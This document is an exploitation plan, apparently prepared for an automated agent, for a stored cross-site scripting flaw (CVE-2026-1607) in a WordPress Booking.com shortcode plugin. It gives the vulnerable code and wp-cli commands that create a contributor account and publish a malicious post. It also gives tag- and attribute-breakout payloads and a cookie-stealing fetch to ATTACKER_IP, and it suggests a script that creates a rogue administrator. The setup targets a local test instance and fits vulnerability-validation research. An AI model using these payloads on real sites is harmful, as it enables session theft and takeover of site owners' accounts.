Exploitation Research Plan - CVE-2026-1607

1. Vulnerability Summary

The Surbma | Booking.com Shortcode plugin (versions <= 2.1) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the surbma_bookingcom_shortcode_shortcode function, which processes the [surbma-bookingcom] shortcode. The plugin accepts a user-defined attribute param, which is concatenated directly into a <script> tag's src attribute without any sanitization or escaping (such as esc_attr or esc_url). This allows an attacker with Contributor-level permissions or higher to inject arbitrary HTML attributes or close the script tag entirely to execute malicious JavaScript.

2. Attack Vector Analysis

• Endpoint: WordPress Post/Page Editor (standard Gutenberg or Classic editor).
• Shortcode: [surbma-bookingcom]
• Vulnerable Parameter: param
• Authentication: Required (Contributor role or higher). Contributor is the minimum role that can typically create posts and use shortcodes.
• Preconditions: The plugin must be active. A user with the Contributor role must be able to save a post (even as a draft) and preview it, or an Administrator must view the published post.

3. Code Flow

1. Entry Point: The shortcode is registered in surbma-bookingcom-shortcode.php:

   add_shortcode( 'surbma-bookingcom', 'surbma_bookingcom_shortcode_shortcode' );
   

2. Processing: When a page containing the shortcode is rendered, WordPress calls surbma_bookingcom_shortcode_shortcode($atts):

   function surbma_bookingcom_shortcode_shortcode( $atts ) {
       extract( shortcode_atts( array(
           "param" => ''
       ), $atts ) ); // $param is extracted from $atts['param']
       return '<script type="text/javascript" src="https://www.booking.com/general.html?'.$param.'"></script>';
   }
   

3. Sink: The $param variable is concatenated directly into the return string. Because it is not passed through esc_attr() or esc_url(), characters like " and > can be used to break out of the HTML attribute and tag context.

4. Nonce Acquisition Strategy

This vulnerability is exploited via the standard WordPress post creation/editing flow. It does not involve a custom AJAX or REST API endpoint provided by the plugin.

• Nonce Needed: To create/save a post as a Contributor, the standard WordPress _wpnonce for post creation is required.
• Acquisition:
  1. The automated agent logs in as a Contributor.
  2. Navigate to wp-admin/post-new.php.
  3. The _wpnonce is present in the page source (usually in the wp.apiFetch settings or a hidden input).
  4. The agent uses the standard wp-cli command wp post create to bypass the need for manual nonce handling during the injection phase.

5. Exploitation Strategy

The goal is to inject a payload that executes when an Administrator views the post.

Step-by-Step Plan:

1. Inject via Post Creation: Use wp-cli as a Contributor to create a post containing the malicious shortcode.
2. Payload Selection:
   • Attribute Breakout: param=' " onload="alert(origin)" '
     • Result: <script ... src="...html? " onload="alert(origin)" "></script>
   • Tag Breakout (Cleaner): param='"></script><script>alert(origin)</script>'
     • Result: <script ... src="...html?"></script><script>alert(origin)</script>"></script>
3. Trigger: Navigate to the frontend URL of the newly created post while logged in as an Administrator.

HTTP Request Details (Simulating Preview/Save):

While wp post create is simpler, if testing the UI flow:

• URL: http://localhost:8888/wp-admin/post.php (for existing) or wp-admin/post-new.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • post_title: XSS Test
  • content: [surbma-bookingcom param='"></script><script>alert(origin)</script>']
  • action: editpost
  • post_type: post
  • _wpnonce: [extracted_nonce]

6. Test Data Setup

1. User: Create a user with the contributor role.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

2. Post: Create the post as the contributor.

   wp post create --post_type=post --post_status=publish --post_title="Booking Search" --post_content='[surbma-bookingcom param="\"></script><script>alert(origin)</script>"]' --user=attacker
   

7. Expected Results

• When the page is rendered, the HTML source should contain:

  <script type="text/javascript" src="https://www.booking.com/general.html?"></script><script>alert(origin)</script>"></script>
  

• The browser should execute the alert(origin) call.

8. Verification Steps

1. Check Database Content:

   wp post list --post_type=post --field=post_content | grep "surbma-bookingcom"
   

2. Verify Frontend Output:
   Use http_request to fetch the post URL and check for the unescaped script tag:

   # Get the URL of the last created post
   POST_URL=$(wp post list --post_type=post --format=ids | xargs -n 1 wp post get --field=url | head -n 1)
   # Check if the payload is present in the response
   # (The agent will use browser_navigate and check for the alert)
   

9. Alternative Approaches

If alert() is blocked or hard to detect:

• Cookie Exfiltration: param='"></script><script>fetch("http://ATTACKER_IP/?c=" + btoa(document.cookie))</script>'
• Admin User Creation: If the target is an Administrator, inject a script that uses the REST API or user-new.php to create a new admin account (standard XSS-to-RCE/Admin chain).
• Attribute Injection: Some browsers might behave differently with src attribute breakout. An alternative is param=' " onerror="alert(1)" ' if the src URL fails to load, though onload is more reliable for <script> tags if the src is valid. However, since we close the tag in the primary strategy, that remains the most robust method.